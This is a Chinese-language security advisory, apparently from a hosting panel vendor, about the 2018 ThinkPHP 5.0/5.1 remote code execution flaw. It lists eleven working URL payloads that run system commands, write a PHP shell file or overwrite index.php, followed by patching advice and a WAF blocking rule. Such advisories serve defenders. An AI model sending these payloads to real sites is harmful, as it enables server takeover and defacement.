TEL:
ThinkPHP5 远程代码执行高危漏洞
| 发布时间: 2018-12-27 15:23:54 | 1691 次浏览

2018 年12月10 日 ThinkPHP 官方发布安全更新,披露了一个高危漏洞。攻击者构造恶意代码,可以获取服务器权限。
受影响范围 版本 包括5.0 5.1 版本

大概受影响的CMS:FastAdmin ClTPHP 程序侠CMS 等….

漏洞描述:
由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell

具体漏洞详情如下:
本地搭建了一个ThinkPHP5 的环境
首先查看一下当前文件夹下面的一个文件,



看看有什么权限


写一个shell文件


查看文件


还有一些payload 的方式:

1、?s=index/\think\Request/input&filter=phpinfo&data=1
2、?s=index/\think\Request/input&filter=system&data=id
3、/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
9、?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
10、?s=index/\think\Request/input&data=1&filter[0]=phpinfo
11、?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents(%22index.php%22,%22hacker%22);

修复方案:

第一: 禁止一些系统执行命令函数(宝塔默认禁止,最好不要删除php 里面的那些禁用函数)
第二: 升级thinkphp (宝塔正在更新一键部署中已经更新至最新版)
第三: 路由方式需要自己设置,这样可能避免很多不必要的东西
第四: 建议安装一些安全软件(例如:宝塔WAF , 安全狗,云锁之类哦的)
第五:开源的产品,建议使用的时候,对版本的选择尤为重要。

使用宝塔Nginx防火墙或Apache防火墙的,可使用以下方法封堵此漏洞:
全局配置 >> GET参数过滤 >> 规则 >> 添加规则:(invokefunction|call_user_func_array|\\think\\)
############################################################################
希望大家能好好观察自己的站是否有这种漏洞。